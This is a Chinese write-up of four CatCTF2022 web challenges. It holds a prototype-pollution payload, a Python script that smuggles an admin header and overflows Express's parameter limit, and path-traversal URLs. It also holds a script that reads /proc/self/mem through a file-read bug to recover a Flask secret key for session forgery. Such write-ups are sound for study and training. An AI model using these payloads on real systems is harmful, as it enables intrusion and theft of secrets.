当前位置: 首页 > news >正文

CatCTF2022 web wp

wife_wife

进来啥也没有,只有一个特殊点,is_admin,但是直接改成true进去也不是admin,看wp才知道这里竟然是要打一个黑盒的原型链污染

有思路就好办了,把数据包丢给ai整一个payload出来

{"username": "hacker","password": "hackerpass","__proto__": {"isAdmin": true}
}

ez_curl

直接访问后端不通,应该是要打一个ssrf

第一个问题是for循环会做检测,如果headers中admin和true同时出现就不行

先找优先级漏洞,and可以绕过但&&不行

这个时候突然发现后端的逻辑校验只要包含就可以

req.headers.admin.includes('true'))

搭个环境测试一下,第二个比较好绕,加个#就行

image-20250921202321582

但是这里到后面一直没打通,回来测试一下才发现

php的http_build_query函数将#进行了url编码形成了%23,编码之后则会失效

image-20250921213402809

image-20250921213418385

在这里也是想到一个有意思的出题思路,后端将参数拼接一个特定参数字符串,并在参数解析时检测该字符串是否存在,不存在则给出访问地址给出flag,存在则退出,前端可以输入地址,并将地址url编码后发给后端,然后可以抓包把url编码后的#改回来,通过标识定位符把后端添加的参数忽略掉

回到题目,这里其实是两个考点

第一个,PHP 的**stripos()方法**只匹配 当前字符串,也就是说,我们只要在admin前面加上\n进行换行,他就检测不到了

第二个,express默认接收一千个参数,多余的会被丢弃

import requests
import json
url="http://61.147.171.35:62967/"data={"headers":["aa:aa\nadmin:true","Content-Type:application/json"],"params":{"admin":"true"}}for i in range(1000):data["params"][i]=str(i)data=json.dumps(data)
res=requests.post(url,data=data)
print(res.text)

ezbypass-cat

进来一个登录框,密码经过md5加密后发送,但似乎存在sql注入

admin存在,其他用户不存在

翻翻js

image-20250924222202106

搜着搜着突然找到了出题人

image-20250924222816061

这里有一个非预期解,就是flag.html可以扫到,但是直接访问会被重定向,可以访问/login.html/…/flag.html来绕过,但这个flag是个假flag

预期解同样是通过login.html做接口跳转,难怪直接访问接口会进不去

通过/user/getALLlist接口拿到用户名和密码

image-20250925141541770

拿到cookie后就可以直接访问flag了

image-20250925142523023

image-20250925142723696

https://zhuanlan.zhihu.com/p/593376086

catcat-new

访问/admin会被拒绝并设置cookie,一看admin:0

应该是要做一个session伪造

另外一个功能点可以做任意文件读取

image-20250925150751204

/proc/1/self读环境变量

b'HOSTNAME=3b1b5cf73770\x00PYTHON_PIP_VERSION=21.2.4\x00SHLVL=1\x00HOME=/root\x00OLDPWD=/\x00GPG_KEY=0D96DF4D4110E5C43FBFB17F2D347EA6AA65421D\x00PYTHON_GET_PIP_URL=https://github.com/pypa/get-pip/raw/3cb8888cc2869620f57d5d2da64da38f516078c7/public/get-pip.py\x00PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/bin\x00LANG=C.UTF-8\x00PYTHON_VERSION=3.7.12\x00PYTHON_SETUPTOOLS_VERSION=57.5.0\x00PWD=/app\x00PYTHON_GET_PIP_SHA256=c518250e91a70d7b20cceb15272209a4ded2a0c263ae5776f129e0d9b5674309\x00'

…/app.py读到源码

import os
import uuid
from flask import Flask, request, session, render_template, Markup
from cat import catflag = ""
app = Flask(__name__,static_url_path='/',static_folder='static'
)
app.config['SECRET_KEY'] = str(uuid.uuid4()).replace("-", "") + "*abcdefgh"if os.path.isfile("/flag"):flag = cat("/flag")os.remove("/flag")@app.route('/', methods=['GET'])
def index():detailtxt = os.listdir('./details/')cats_list = []for i in detailtxt:cats_list.append(i[:i.index('.')])return render_template("index.html", cats_list=cats_list, cat=cat)@app.route('/info', methods=["GET", 'POST'])
def info():filename = "./details/" + request.args.get('file', "")start = request.args.get('start', "0")end = request.args.get('end', "0")name = request.args.get('file', "")[:request.args.get('file', "").index('.')]return render_template("detail.html", catname=name, info=cat(filename, start, end))@app.route('/admin', methods=["GET"])
def admin_can_list_root():if session.get('admin') == 1:return flagelse:session['admin'] = 0return "NoNoNo"

secret从文件中读不到了,但是它一定在内存里

/proc/self/mem存储当前进程在内存中的数据,但是该文件通常无法直接读取

image-20250925161416979

先调整一下数据格式

# filename: replace_newline.py# 输入文件
input_file = "1.txt"
# 输出文件
output_file = "2.txt"with open(input_file, "r", encoding="utf-8") as f:content = f.read()# 把文本里的 \n 替换为真正的换行
content = content.replace("\\n", "\n")with open(output_file, "w", encoding="utf-8") as f:f.write(content)print(f"处理完成,结果保存到 {output_file}")

这里ai写代码挺蠢的,简单取出地址发送过去,再将返回值做一个正则匹配即可

import requests
import uuid
import re
from flask import Flask, session, request
# URL 模板
url = "http://61.147.171.103:57071/info?file=../../proc/self/mem&start={start}&end={end}"# 输入文件路径
input_file = "2.txt"# 正则表达式:匹配类似 uuid + *abcdefgh 格式的字符串
pattern = re.compile(r'[a-f0-9]{32}\*abcdefgh')# 读取文件并按行处理
with open(input_file, "r", encoding="utf-8") as f:for line in f:# 按空格分割每行数据parts = line.split()# 如果权限部分包含 'rw',说明是读写权限if 'rw' in parts[1]:# 提取地址范围 (start, end)start, end = parts[0].split('-')start = int(start, 16)end = int(end, 16)  # 构建请求 URLpayload_url = url.format(start=start, end=end)# 发送 GET 请求response = requests.get(payload_url)# 查找匹配的字符串matches = pattern.findall(response.text)# 如果找到匹配的数据,打印if matches:for match in matches:print(f"匹配到的字符串:{match}")

拿到密钥后伪造session拿到flag

http://www.dtcms.com/a/406784.html

相关文章:

  • 知乎免费阅读网站石家庄新闻综合频道节目回看
  • 做网站后台主要负责什么最新室内装修风格图片
  • 机器人行业灵巧手专题研究报告
  • hive SQL查询与函数
  • 网站维护 关站 seo百度首页广告
  • 搜索引擎的网站有哪些网页设计与网站建设 倪宝童
  • Prompt Optimizer 提示词优化器安装使用
  • 淘宝网站建设的优点app推广是什么工作
  • 【C++】23. C++11(上)
  • 第三方软件登记测评机构:【LoadRunner脚本录制与调试】
  • 摄影网站开发的背景西安网站 技术支持牛商网
  • A股大盘数据-20250925分析
  • 旋转设备状态监测传感器选型要点
  • echarts项目积累
  • VS2022调试技巧
  • Vue 3 组合式 API 生命周期钩子学习笔记
  • shardingsphere加载过程
  • MinerU介绍安装
  • 好的建设网站关于建立企业网站的方案内容
  • 在mac上面使用parquet-cli查看parquet文件
  • 织梦资讯门户网站模板公司成立后网站建设
  • linux入门4.4(DHCP和DNS服务器)
  • 存储卷备份策略在海外vps数据安全中的基础规范
  • 基于MATLAB的热晕相位屏仿真
  • 天津网站优化怎么样成都金牛区建设局网站
  • 惠州网站建设佳木斯自助个人免费网站
  • 学校网站源码html重庆seo哪个强
  • 基于Vue2的可视化大屏
  • AI+Decodo:构建智能电商价格监控系统的完整实战指南
  • 一般来说主键索引的树深度有几层?为什么是这个层数?